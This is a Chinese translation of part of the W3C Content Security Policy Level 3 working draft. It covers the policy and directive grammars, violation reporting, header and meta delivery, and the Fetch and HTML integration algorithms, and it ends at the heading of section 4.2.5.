内容安全策略第 3 级

W3C 工作草案,

关于此文档的更多详细信息
此版本:
https://www.w3.org/TR/2026/WD-CSP3-20260916/
最新发布版本:
https://www.w3.org/TR/CSP3/
编辑草案:
https://w3c.github.io/webappsec-csp/
之前版本:
历史:
https://www.w3.org/standards/history/CSP3/
反馈:
public-webappsec@w3.org 主题行包含“[CSP3] … 消息主题 …” (存档)
Github
编辑:
(谷歌公司)
(谷歌公司)
参与:
提交问题 (待解决问题)
测试:
web-platform-tests content-security-policy/ (进行中的工作)

摘要

本文件定义了一种机制,允许网页开发人员控制某个页面可以获取或执行的资源,以及若干安全相关的策略决策。

本文档状态

本节描述了本文件在发布时的状态。当前 W3C 出版物和本技术报告的最新修订版可在 W3C 技术报告索引 中找到。

本文档由 Web Application Security Working Group 以 Recommendation track 的形式发布为工作草案。本文档旨在成为 W3C 推荐标准。

用于讨论本规范的首选公开邮件列表是 (存档) public-webappsec@w3.org (参见说明)。 发送电子邮件时,请在主题中包含“CSP3”字样,最好这样写:“[CSP3] …简要评论…”

作为工作草案发布并不代表 W3C 及其成员的认可。此为草案文档,可能随时更新、替换或被其他文档废弃。不应将本文档作为除“正在进行的工作”以外的引用。

本文档由 Web Application Security Working Group 制作。

本文档由遵循 W3C 专利政策 的小组制作。W3C 维护着与小组交付物相关的 专利披露公开列表; 该页面还包括披露专利的说明。如个人实际知晓某项专利且认为其中包含必要声明,则必须根据W3C 专利政策第 6 节披露相关信息。

本文档受 2025 年 8 月 18 日 W3C 流程文档 管辖。

以下功能有风险,可能会在CR期间被删除:

“有风险”是 W3C 过程中的专业术语,并不一定意味着该功能有被删除或延迟的危险。这意味着工作组认为该功能在及时实现时可能存在互操作性问题, 标记为“有风险”允许工作组在转向提议推荐阶段时必要时删除该功能,而无需先发布不包含该功能的新候选推荐。

1. 简介

本节并非规范性内容。

本文档定义了内容安全策略 (CSP),开发者可以使用它以多种方式锁定他们的应用程序,从而减轻诸如跨站脚本等内容注入漏洞的风险,并降低其应用程序的执行权限。

CSP 并非针对内容注入漏洞的第一道防线。相反,CSP 最好用作深度防御。它可以减少恶意注入可能造成的危害,但不能代替谨慎的输入验证和输出编码。

本文档是内容安全策略第 2 级的迭代,旨在更清楚地解释 CSP、HTML 和 Fetch 之间的交互,同时提供清晰的模块化扩展钩子。理想情况下,这将形成一个稳定的核心,我们可以在此基础上构建新功能。

1.1. 示例

1.1.1. 控制执行

MegaCorp Inc 的开发者希望保护自己免受跨站脚本攻击。他们可以通过确保只有受信任的 CDN 是脚本加载和执行的唯一来源,从而减轻脚本注入的风险。此外,他们希望确保没有插件可以在其页面上下文中执行。以下策略实现了这一效果:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 目标

内容安全策略旨在完成一些相关的任务:

  1. 通过为开发者提供较为精细的控制来降低内容注入攻击的风险,包括:

    • 可以为特定的 Document 或 Worker 请求(并随后嵌入或执行)的资源

    • 内联脚本的执行

    • 动态代码执行(通过 eval() 和类似构造)

    • 内联样式的应用

  2. 通过提供精细的控制来减少嵌入恶意上下文(如“像素完美”攻击所述)的风险。

  3. 提供一个策略框架,使开发者能够减少其应用程序的权限。

  4. 提供一种报告机制,允许开发者检测到在实际环境中被利用的漏洞。

1.3. 与第 2 级的变化

本文档描述了内容安全策略第 2 级规范的演进版本[CSP2]。以下是变化的概述:

  1. 该规范从头开始根据 [FETCH] 规范重写,这使得更容易将 CSP 的要求和限制与其他规范(尤其是与 Service Workers)集成。

  2. child-src 模型已经进行了重大修改:

    1. frame-src 指令在 CSP 第 2 级中被弃用,但现在已取消弃用,且若不存在时仍会退化为 child-src(它又会退化为 default-src)。

    2. 添加了 worker-src 指令,若不存在则退化为 child-src(同样最终退化为 script-src,再退化为 default-src)。

  3. URL 匹配算法现在将不安全的方案和端口视为与其安全变体相匹配。也就是说,源表达式 http://example.com:80 将同时匹配 http://example.com:80 和 https://example.com:443。

    同样,'self' 现在会匹配页面起源的 https: 和 wss: 变体,即使页面的方案为 http。

  4. 从内联脚本或样式生成的违规报告现在会将“inline”作为被阻止的资源。同样,被阻止的 eval() 执行将报告为“eval”。

  5. 添加了 manifest-src 指令。

  6. report-uri 指令被弃用,改为使用新的 report-to 指令,它依赖于[REPORTING] 作为基础设施。

  7. 'strict-dynamic' 源表达式现在允许在页面上执行的脚本通过非 “解析器插入”的 script 元素加载更多脚本。详情参见 § 8.2 关于 "'strict-dynamic'" 的使用。

  8. 'unsafe-hashes' 源表达式现在允许事件处理程序、样式属性和 javascript: 导航目标匹配哈希。详情参见 § 8.3 关于 "'unsafe-hashes'" 的使用。

  9. 源表达式 的匹配已更改为要求明确存在任何非 HTTP(S) 方案,而非本地方案,除非该非 HTTP(S) 方案 与受保护资源的方案相同,如在 § 6.7.2.8 URL 与原点中的表达式和重定向计数匹配 中所述。

  10. 哈希源表达式现在可能匹配外部脚本,前提是触发请求的 script 元素指定了一组列在当前策略中的完整性元数据。详情见 § 8.4 通过哈希允许外部 JavaScript。

  11. 针对内联违规生成的报告将包含 示例 属性(如果相关指令包含 'report-sample' 表达式)。

2. 框架

2.1. 基础设施

本文档使用 ABNF 语法定义句法,参见[RFC5234]。此外还依赖于 [RFC9110] 中第 5.6.1 节中定义的 #rule ABNF 扩展,修改内容是将 OWS 替换为 可选 ASCII 空白符。即,本文档中使用的 #rule 定义如下:

1#element => element *( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )
    

对于 n >= 1 和 m > 1:

<n>#<m>element => element <n-1>*<m-1>( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )
    

本文档依赖于 Infra 标准提供的多个用于算法和书写的基础概念 [INFRA]。

以下定义用于提高本文档中其他定义的可读性。

可选 ASCII 空白符 = *( %x09 / %x0A / %x0C / %x0D / %x20 )
    必需 ASCII 空白符 = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
    ; 这些生成规则符合 ASCII 空白符 的定义,出自 INFRA 标准。
    

2.2. 策略

一个策略(policy) 定义了允许和受限的行为,并可应用于 Document、 WorkerGlobalScope 或 WorkletGlobalScope。

每个策略都关联一个指令集(directive set), 它是一个有序集合的指令, 用于定义该策略应用时的具体含义。

每个策略都关联一个处理方式(disposition), 其值为"enforce"或"report"。

每个策略都关联一个来源(source), 其值为"header"或"meta"。

可以对单一资源应用多个策略。 CSP 列表 是一个结构体,包含 policies (一个由 策略 组成的列表)与 self-origin(用于匹配'self'关键字的 源(origin))。

注: 这用于支持'self'关键字对 本地方案文档/工作线程的检查, 这些对象继承了策略但拥有不透明源(opaque origin)。 通常,这就是环境设置对象的 源(origin)。

CSP 列表 包含头部发出的内容安全策略(Content Security Policy) ,当其policies 包含 一个策略,且该策略的 source值为"header"时。

序列化 CSP(serialized CSP) 是一个ASCII 字符串, 其由分号分隔的一系列 序列化指令组成,需遵循下述 ABNF 语法 [RFC5234]:

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

序列化 CSP 列表(serialized CSP list) 是一个ASCII 字符串,由逗号分隔的一系列 序列化 CSP组成, 并遵循以下 ABNF 语法 [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

2.2.1. 解析序列化的 CSP

要解析序列化的 CSP,给定一个字节序列 或字符串serialized,一个sourcesource,以及一个disposition disposition,执行以下步骤。

此算法返回一个内容安全策略对象。如果 serialized无法解析,该对象的指令集将为空。

  1. 如果serialized是字节序列, 则将serialized设置为 等同解码(isomorphic decoding) serialized的结果。

  2. 令policy为一个新的policy, 其指令集为空, source为source, disposition为disposition。

  3. 对于通过 严格拆分serialized,以 U+003B 分号字符(;)分割得到的每个token:

    1. 移除前导和尾随ASCII空白字符。

    2. 如果token是空字符串,或token不是ASCII字符串, 继续。

    3. 令directive name为 收集自token, 且不是ASCII空白的那部分码点序列的结果。

    4. 将directive name设置为对directive name执行 ASCII小写的结果。

      注:指令名称不区分大小写,即: script-SRC 'none' 和 ScRiPt-sRc 'none'等价。

    5. 如果policy的指令集 包含一个指令,其名称为directive name, 继续。

      注:此时用户代理应通知开发者有重复指令被忽略。例如,可以在控制台发出警告。

    6. 令directive value为 用ASCII空白拆分token的结果。

    7. 令directive为一个新的指令,其名称为directive name, 值 为directive value。

    8. 追加directive到policy的指令集中。

  4. 返回policy。

2.2.2. 解析 response 的内容安全策略

为了 解析响应的内容安全策略,给定一个 响应 response,执行以下步骤。

该算法返回一个CSP列表。 如果策略无法解析,返回的列表将具有空策略。

  1. 令policies为一个空列表。

  2. 对于通过提取 header 列表值, 给定Content-Security-Policy和response的header 列表返回的每个token:

    1. 令policy为 解析token的结果, 其source为 "header",disposition为 "enforce"。

    2. 如果policy的指令集非空,则将policy追加到policies。

  3. 对于通过提取 header 列表值, 给定Content-Security-Policy-Report-Only和response的header 列表返回的每个token:

    1. 令policy为 解析token的结果, 其source为 "header",disposition为 "report"。

    2. 如果policy的指令集非空,则将policy追加到policies。

  4. 返回一个CSP 列表,其policies 为policies, self-origin为response的url的origin。

注意: 当 解析响应的内容安全策略 时,如果得到的 policies 最终包含至少一项,用户代理可以在 policies 上持有一个标志,并使用该标志来优化 包含头部传递的内容安全策略 算法。

2.3. 指令

每个策略都包含一个有序集合的指令(其 指令集),每个指令 控制某个特定行为。本文档中定义的指令在§ 6 内容安全 策略指令中有详细说明。

每个指令是一个 名称/ 值 对。名称是非空字符串, 值是由非空字符串组成的集合。 值可以为空。

序列化指令 是一个ASCII字符串,由一个或多个以空格分隔的标记组成, 并且符合以下ABNF [RFC5234]:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; 指令值可包含空白和VCHAR字符,
                       ; 不包括";"和","。定义的后半部分表示所有VCHAR字符 (%x21-%x7E)
                       ; 除去";"和","(分别为%x3B和%x2C)

; ALPHA、DIGIT和VCHAR定义见RFC 5234附录B.1。

指令有多个相关算法:

  1. 预请求检查 ,参数为请求、策略和源, 在§ 4.1.2 内容安全策略是否应阻止请求?执行。 除非另有说明,本算法返回"Allowed"。

  2. 请求后检查 ,参数为请求、响应、策略和源, 在 § 4.1.3 内容安全策略是否应阻止响应?执行。 除非另有说明,本算法返回"Allowed"。

  3. 内联检查 ,参数为Element、 类型字符串、策略和源字符串, 在 § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止?和 § 4.2.4 导航请求(类型为javascript:)是否应被内容安全策略阻止?执行。 除非另有说明,本算法返回"Allowed"。

  4. 初始化 ,参数为Document 或全局对象以及 策略, 在 § 4.2.1 Document对象的CSP初始化和 § 4.2.6 全局对象的CSP初始化执行。除非另有说明,没有效果且返回"Allowed"。

  5. 导航前检查 ,参数为 请求、导航类型字符串 ("form-submission"或"other")、策略、源, 在 § 4.2.4 导航请求是否应被内容安全策略阻止?执行。除非另有说明,返回"Allowed"。

  6. 导航响应检查 ,参数为 请求、导航类型字符串 ("form-submission"或"other")、响应、可导航对象、 检查类型字符串("source"或"response")、策略、源, 在 § 4.2.5 导航响应是否应被内容安全策略阻止?执行。除非另有说明,返回"Allowed"。

  7. webrtc预连接检查 ,参数为 策略, 在§ 4.3.1 全局对象下RTC连接是否应被阻止?执行。 除非另有说明,返回"Allowed"。

2.3.1. 源列表

许多 指令 的 值 由 源列表 组成:集合的 字符串,用于标识可以获取并可能嵌入或执行的内容。每个 字符串 表示以下类型的 源表达式 之一:

  1. 关键字,如 'none' 和 'self'(分别表示匹配无内容和匹配当前 URL 的来源)

  2. 序列化 URL,如 https://example.com/path/to/file.js(匹配特定文件)或 https://example.com/(匹配该来源上的所有内容)

  3. 协议,如 https:(匹配具有指定协议的任何资源)

  4. 像 example.com 这样的主机(匹配主机上的任何资源,不管协议是什么),或 *.example.com(匹配主机的子域上的任何资源,以及其子域的子域资源,依此类推)

  5. 随机数,如 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'(可以匹配页面上的特定元素)

  6. 摘要,如 'sha256-abcd...'(可以匹配页面上的特定元素)

一个序列化的源列表是一个ASCII 字符串,由以空格分隔的一系列源表达式组成,遵循以下 ABNF 语法 [RFC5234]:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'" / "'unsafe-webtransport-hashes'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char 规则有意仅包含 ASCII 字符;国际化域名不能直接作为 序列化的 CSP 的一部分,而必须使用 Punycode 编码 [RFC3492]。例如,域名 üüüüüü.de 必须表示为 xn--tdaaaaaa.de。

注意:虽然 IP 地址与上述语法匹配,但只有 127.0.0.1 实际上会在用作源表达式时匹配 URL(有关详细信息,请参阅 § 6.7.2.7 在来源和重定向计数中 URL 是否匹配源列表?)。IP 地址的安全特性存在问题,作者应尽量优先选择主机名。

注意:base64-value 语法允许 base64 和 base64url 编码。这些编码在处理 hash-source 值时被视为等同。然而,随机数是严格的字符串匹配:我们使用 base64-value 语法来限制可用字符,并降低服务器端操作人员的复杂性(编码等),但用户代理实际上并不关心任何底层值,也不会对 nonce-source 值进行任何解码。

2.4. 违反

一个违规表示某个行为或资源, 违反了与策略对象集合有关的 全局对象。

每个违规拥有一个 全局对象, 即其全局对象所关联的策略被违规。

每个违规拥有一个URL, 即其全局对象的URL。

每个违规拥有一个 状态码, 即一个非负整数,表示全局对象实例化资源的HTTP状态码。

每个违规拥有一个 资源, 可以是null、"inline"、"eval"、"wasm-eval"、 "trusted-types-policy"、"trusted-types-sink" 或URL。 其表示违反策略的资源。

注意: 违规的 resource 值为 null 只允许在 违规正在被填充期间。 当违规被报告并且其 resource 被用于 获取被阻止的 URI 时, 违规的 resource 应该填充为一个 URL 或允许的字符串之一。

每个违规拥有一个 引用者, 可以为null,也可以是URL。 其表示被违规资源的引用者。

每个违规拥有一个 策略, 即被违反的策略。

每个违反都有一个 处置方式,即被 处置方式的策略的处置方式。

每个违规拥有一个 有效指令, 为非空字符串,表示执行导致违规的指令。

每个违规拥有一个 源文件, 可以为null,也可以是URL。

每个违规拥有一个 行号, 为非负整数。

每个违规拥有一个 列号, 为非负整数。

每个违规拥有一个 元素, 可以为null或一个元素。

每个违规拥有一个样本, 为字符串。除非另有说明,否则为空字符串。

注意: 违规的样本将填充导致违规的内联脚本、事件处理程序或样式的前 40 个字符。源自外部文件的违规不会在违规报告中包含样本。

2.4.1. 为 global、policy 和 directive 创建违反对象

给定一个 全局对象 global,一个 策略 policy,以及一个 字符串 directive,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:

  1. 让 violation 成为一个新的 违反,其 全局对象 为 global,策略 为 policy,有效指令 为 directive,并且 资源 为 null。

  2. 如果用户代理当前正在执行脚本,且可以从 global 提取源文件的 URL、行号和列号,则相应设置 violation 的 源文件、行号 和 列号。

    这种情况是否在其他地方有规范?我在 [ECMA262] 中没有看到类似内容。

    注意: 用户代理需要确保 源文件 是页面请求的 URL(重定向前的)。如果这不可能,用户代理需要将 URL 降级为一个源,避免非故意泄漏。

  3. 如果 global 是一个 Window 对象,则将 violation 的 referrer 设置为 global 的 document 的 referrer。

  4. 设置 violation 的 状态 为与 violation 的 全局对象 关联的资源的 HTTP 状态码。

    我们具体如何获取状态码?我们并没有实际将其存储在任何地方。

  5. 返回 violation。

2.4.2. 为 request 和 policy 创建违反对象

给定一个 请求 request,一个 策略 policy,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:

  1. 让 directive 成为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 让 violation 成为在 request 的 客户端 的 全局对象、policy 和 directive 上执行 § 2.4.1 为 global、policy 和 directive 创建违反对象 的结果。

  3. 设置 violation 的 资源 为 request 的 URL。

    注意:我们使用 request 的 URL,而不是其 当前 URL,因为后者可能包含页面不应访问的重定向目标信息。

  4. 返回 violation。

3. 策略传递

服务器可以通过一个值为 序列化 CSP 的 HTTP 响应标头字段,为特定的资源 表示声明一个策略。此 机制在 § 3.1 Content-Security-Policy HTTP 响应标头字段和§ 3.2 Content-Security-Policy-Report-Only HTTP 响应标头字段中有详细定义, 与 Fetch 和 HTML 的集成则在§ 4.1 与 Fetch 集成和§ 4.2 与 HTML 集成中进行了描述。

一个策略也可以通过 meta 元素的 http-equiv 属性在 HTML 文档内声明,如 § 3.3 <meta> 元素所述。

3.1. Content-Security-Policy HTTP 响应头字段

Content-Security-Policy HTTP 响应头字段是将策略从服务器传递到客户端的首选机制。该头字段的值由以下 ABNF 表示 [RFC5234]:

Content-Security-Policy = 1#serialized-policy
                    ; "#" 规则定义于 RFC 9110 的第 5.6.1 节,
                    ; 并包括本文档第 2.1 节中的修改。
                
Content-Security-Policy: script-src 'self';
                        report-to csp-reporting-endpoint
                    

服务器可以为同一资源的不同表示形式发送不同的 Content-Security-Policy 标头字段值。

当用户代理收到 Content-Security-Policy 标头字段时,它必须按照 § 4.1 与 Fetch 集成和 § 4.2 与 HTML 集成中的描述,解析并强制执行其中包含的每个序列化 CSP。

3.2. Content-Security-Policy-Report-Only HTTP 响应头字段

Content-Security-Policy-Report-Only HTTP 响应头字段允许 Web 开发者通过监控(而不是执行)策略的效果来进行策略试验。该头字段的值由以下 ABNF 表示 [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; "#" 规则定义于 RFC 9110 的第 5.6.1 节,
                    ; 并包括本文档第 2.1 节中的修改。
                

该头字段允许开发者以迭代的方式构建其安全策略,基于其对站点行为的最佳估计部署报告模式策略,观察违规报告,然后在对行为有足够信心后转变为强制策略。

Content-Security-Policy-Report-Only: script-src 'self';
                                            report-to csp-reporting-endpoint
                    

服务器可以为同一资源的不同表示形式发送不同的 Content-Security-Policy-Report-Only 标头字段值。

当用户代理收到 Content-Security-Policy-Report-Only 标头字段时,它必须按照 § 4.1 与 Fetch 集成和 § 4.2 与 HTML 集成中的描述,解析并监控其中包含的每个序列化 CSP。

注意: Content-Security-Policy-Report-Only 头字段不支持在 meta 元素中。

3.3. <meta> 元素

一个 Document 可以通过一个或多个 HTML meta 元素传递策略, 这些元素的 http-equiv 属性与字符串 "Content-Security-Policy" 进行 ASCII 不区分大小写 匹配。例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
                    

实现细节可见 HTML 的 内容安全策略状态 http-equiv 处理说明 [HTML]。

注意: Content-Security-Policy-Report-Only 头字段不支持在 meta 元素中。同样,report-uri、frame-ancestors 和 sandbox 指令也不支持。

强烈建议作者尽量将 meta 元素尽早放在文档中,因为 meta 元素中的策略不适用于在其之前的内容。特别要注意,使用 Link HTTP 响应头字段预取的资源以及通过 link 和 script 元素预取的资源不会被 meta 传递的策略阻止。

注意:通过 meta 元素指定的策略将与保护资源的任何其他活动策略一同执行,无论它们在哪里指定。执行多个策略的一般影响在 § 8.1 多个策略的影响 中进行了描述。

注意: content 属性的修改将在 meta 元素被解析后忽略。

4. 集成

本节为非规范性内容。

本文档定义了一组用于在其他规范中实现功能的算法。这些集成在这里概述以便于理解,但这些外部文档才是应当查阅的规范参考,以获取详细信息。

4.1. 与 Fetch 的集成

许多指令以某种方式控制资源加载。本规范提供了允许 Fetch 决定某个 请求是否应被阻止或允许的算法,以及关于某个 响应是否应被替换为 网络错误的决策。

  1. § 4.1.2 请求是否应被 内容安全策略阻止?作为 主 Fetch算法步骤 2.4 的一部分被调用。这使得指令的请求前 检查 能够在每个请求到达网络之前对其执行, 并针对请求在 到达资源的途中可能经历的每次重定向执行。

  2. § 4.1.3 对请求的响应是否应被 内容安全策略阻止?作为 主 Fetch算法步骤 11 的一部分被调用。这使得指令的请求后 检查 能够对从网络 或 Service Worker 传递的响应执行。

4.1.1. 报告 request 的内容安全策略违规

给定一个 request request,该算法基于 策略容器 的 CSP 列表 中“仅报告”的策略来报告违规行为。

  1. 令 CSP 列表 等于 request 的 策略容器 的 CSP 列表。

  2. 对于 CSP 列表 的 策略 中的每个 policy:

    1. 如果 policy 的 处置方式 是 "enforce", 则跳到下一个 policy。

    2. 令violates为在 request、policy 和 CSP list的self-origin 上执行 § 6.7.2.1 请求是否违反策略? 的结果。

    3. 如果violates不是"Does Not Violate",则以request和policy为参数,执行 § 2.4.2 为请求和策略创建违规对象 的结果,再对其执行§ 5.5 报告违规。

4.1.2. 请求 request 是否应被内容安全策略阻止?

给定一个 request request,该算法返回 Blocked 或 Allowed,并基于 request 的 策略容器 的 CSP 列表 来报告违规行为。

  1. 令 CSP 列表 为 request 的 策略容器 的 CSP 列表。

  2. 令 result 为 "Allowed"。

  3. 对于 CSP 列表 的 策略 中的每个 policy:

    1. 如果 policy 的 处置方式 是 "report", 则跳到下一个 policy。

    2. 令violates为在 request、policy 和 CSP list的self-origin 上执行 § 6.7.2.1 请求是否违反策略? 的结果。

    3. 如果violates不是"Does Not Violate",则:

      1. 以request 和 policy为参数,执行 § 2.4.2 为请求和策略创建违规对象, 再对其执行§ 5.5 报告违规。

      2. 将result设为"Blocked"。

  4. 返回 result。

4.1.3. 响应 response 对 request 是否应被内容安全策略阻止?

给定一个 response response 和一个 request request,该算法返回 Blocked 或 Allowed,并基于 request 的 策略容器 的 CSP 列表 来报告违规行为。

  1. 令 CSP 列表 为 request 的 策略容器 的 CSP 列表。

  2. 令 result 为 "Allowed"。

  3. 对于 CSP 列表 的 策略 中的每个 policy:

    1. 对于 policy 的每个 directive:

      1. 如果对request、response、policy和CSP list的self-origin执行directive的post-request check的结果为 "Blocked",则:

        1. 以request和policy为参数,执行 § 2.4.2 为请求和策略创建违规对象, 再对其执行§ 5.5 报告违规。

        2. 如果 policy 的 处置方式 是 "enforce", 则将 result 设为 "Blocked"。

    注意: 此部分检查确保页面可以加载该响应。 即 Service Worker 是否未替换为会违反页面 CSP 的文件。

  4. 返回 result。

4.1.4. 可能报告哈希值

给定一个响应 response,一个请求 request,一个指令 directive 和一个内容安全策略对象 policy, 执行以下步骤:

  1. 令algorithm为一个空字符串。

  2. 如果directive的值包含 表达式"'report-sha256'", 则将algorithm设为"sha256"。

  3. 如果directive的值包含 表达式"'report-sha384'", 则将algorithm设为"sha384"。

  4. 如果directive的值包含 表达式"'report-sha512'", 则将algorithm设为"sha512"。

  5. 如果algorithm为空字符串,则返回。

  6. 令hash为一个空字符串。

  7. 如果response是CORS同源,则:

    1. 令h为在response的body和algorithm上 应用算法到字节的结果。

    2. 令hash为algorithm、U+2D(-)和h 拼接的结果。

  8. 令global为request的client的全局对象(global object)。

  9. 如果global不是Window, 则返回。

  10. 令stripped document URL为在global的document的URL上执行 § 5.4 用于报告的去除URL的结果。

  11. 如果policy的指令集不包含名为"report-to"的 指令,则返回。

  12. 令report-to directive为policy的指令集中名为"report-to"的指令。

  13. 令body为一个csp hash 报告体,其 documentURL 为stripped document URL, subresourceURL为request的URL, hash为hash, destination为request的destination, destination 为同样值,"subresource"为 type。

  14. 生成并排队报告,参数如下:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directive的值。

    data

    body

4.2. 与 HTML 的集成

  1. 策略容器具有一个CSP 列表,其中保存 在给定上下文中处于活动状态的所有策略对象。除非另有规定,此 列表为空,并通过解析响应的 内容安全策略,从响应中填充,或者按照策略容器的规则继承。

  2. 一个全局对象的CSP 列表 是以该全局对象 作为 object 执行§ 4.2.2 获取对象的 CSP 列表的结果。

  3. 通过将策略插入全局对象的 CSP 列表中,可以为一个 全局对象强制执行或监控该策略。

  4. § 4.2.1 为 Document 运行 CSP 初始化在创建并初始化一个新的 Document 对象算法期间被调用。

  5. § 4.2.3 元素的内联 类型行为是否应被内容安全策略阻止?在准备 script 元素和 更新 style 块算法期间被调用,以便 确定内联脚本或样式块是否 允许执行/渲染。

  6. § 4.2.3 元素的内联 类型行为是否应被内容安全策略阻止?在处理内联 事件 处理程序(如 onclick)和内联 style 属性期间被调用,以便 确定是否应允许它们执行/渲染。

  7. 策略在处理 meta 元素的 http-equiv 期间被强制执行。

  8. HTML 使用负责资源加载的元素中的相关数据填充每个请求的密码学 nonce 元数据和解析器元数据。

    在 WHATWG 的 HTML 中,样式表 加载尚未与 Fetch 集成。[whatwg/html Issue #968]

  9. § 6.3.1.1 是否允许 document 使用 base?在 base 的 设置冻结的 基 URL算法期间被调用,以确保 href 属性的值 有效。

  10. § 4.2.4 指定类型的导航请求是否应被 内容安全策略阻止?在通过 Fetch 创建 导航参数算法期间被调用,而§ 4.2.5 对指定类型 导航请求的导航响应 在目标中是否应被内容安全策略阻止? 在尝试填充 历史记录条目的 document 算法期间被调用,以应用指令的导航检查,以及对 导航到 javascript: URL 的内联检查。

  11. § 4.2.6 为 全局对象运行 CSP 初始化在运行 worker 算法期间被调用。

  12. sandbox 指令用于 填充CSP 派生的 沙盒标志。

4.2.1. 运行 CSP 初始化用于 Document

给定一个 Document document,用户代理按以下步骤初始化 document 的 CSP:

  1. 对于 document 的 策略容器 的 CSP列表 中的每个 policy:

    1. 对于 policy 的每个 directive:

      1. 在 document 和 policy 上执行 directive 的 初始化 算法,并断言:其返回值为 "Allowed"。

4.2.2. 获取 CSP 列表 对于 object

为了获取 object 的 CSP 列表:

  1. 如果 object 是一个 Document, 则返回 object 的策略容器的CSP 列表。

  2. 如果 object 是一个 Window 或一个 WorkerGlobalScope 或一个 WorkletGlobalScope, 则返回环境设置对象的策略容器的CSP 列表。

  3. 返回 null。

4.2.3. 元素 element 的内联 type 行为是否应被内容安全策略阻止?

给定一个 Element element、一个字符串 type 和一个字符串 source,此算法返回 "Allowed" 如果该元素被允许内联定义某种特定类型的行为(脚本执行、样式应用、事件处理等),否则返回 "Blocked":

注意: type 的有效值包括 "script"、"script attribute"、"style" 和 "style attribute"。

  1. 断言:element 不为 null。

  2. 令 result 为 "Allowed"。

  3. 对于 element 所在 Document 的 全局对象的 CSP 列表的 policies 中的每个 policy:

    1. 对于 policy 的每个 directive 指令集:

      1. 如果 directive 的 行内检查 在 element、type、policy 和 source 上执行时返回 "Allowed",则跳到下一个 directive。

      2. 令 directive-name 为在 type 上执行 § 6.8.2 获取用于行内检查的有效指令 的结果。

      3. 否则,令 violation 为在 当前设置对象 的 全局对象、 policy 和 directive-name 上执行 § 2.4.1 为 global、policy 和指令创建 violation 对象 的结果。

      4. 设 violation 的 资源 为 "inline"。

      5. 设 violation 的 元素 为 element。

      6. 如果 directive 的 值 包含 表达式 "'report-sample'", 则设 violation 的 示例 为 source 的前 40 个字符的子串。

      7. 在 violation 上执行 § 5.5 报告违规。

      8. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  4. 返回 result。

4.2.4. 类型为 type 的 导航请求 是否应被内容安全策略阻止?

给定一个请求 navigation request 和一个字符串 type(“form-submission”或“other”),如果活动策略阻止导航,则此算法返回“Blocked”,否则返回“Allowed”:

  1. 令 result 为 "Allowed"。

  2. 令 CSP列表 为 navigation request 的 策略容器 的 CSP列表 的 策略。

  3. 对于 CSP列表 的 策略 中的每个 policy:

    1. 对于 policy 的每个 directive:

      1. 若 directive 的 导航前检查 执行传入 navigation request、type、policy、 CSP列表 的 self-origin 时返回 "Allowed", 跳到下一个 directive。

      2. 否则,令 violation 等于执行 § 2.4.1 为 global、policy 和 directive 创建违规对象 ,参数为 navigation request 的 client 的 全局对象、 policy 和 directive 的 名称。

      3. 设置 violation 的 资源 为 navigation request 的 URL。

      4. 执行 § 5.5 报告违规,参数为 violation。

      5. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  4. 若 result 为 "Allowed",且 navigation request 的 current URL 的 scheme 为 javascript:

    1. 对于 navigation request 的 策略容器 的 CSP列表 的 策略 中的每个 policy:

      1. 对于 policy 的每个 directive:

        1. 令 directive-name 等于执行 § 6.8.2 获取内联检查的有效指令 ,参数为 "navigation" 的结果。

        2. 若 directive 的 内联检查 执行传入 null,"navigation"、policy 和 navigation request 的 current URL时, 返回 "Allowed", 跳到下一个 directive。

        3. 否则,令 violation 等于执行 § 2.4.1 为 global、policy 和 directive 创建违规对象 ,参数为 navigation request 的 client 的 全局对象、 policy 和 directive-name。

        4. 设置 violation 的 资源 为 "inline"。

        5. 执行 § 5.5 报告违规,参数为 violation。

        6. 如果 policy 的 处置方式 是 "enforce",则将 result 设为 "Blocked"。

  5. 返回 result。

4.2.5. 是否应内容安全策略阻止 target 中 navigation request 的 type 导航响应 navigation response?

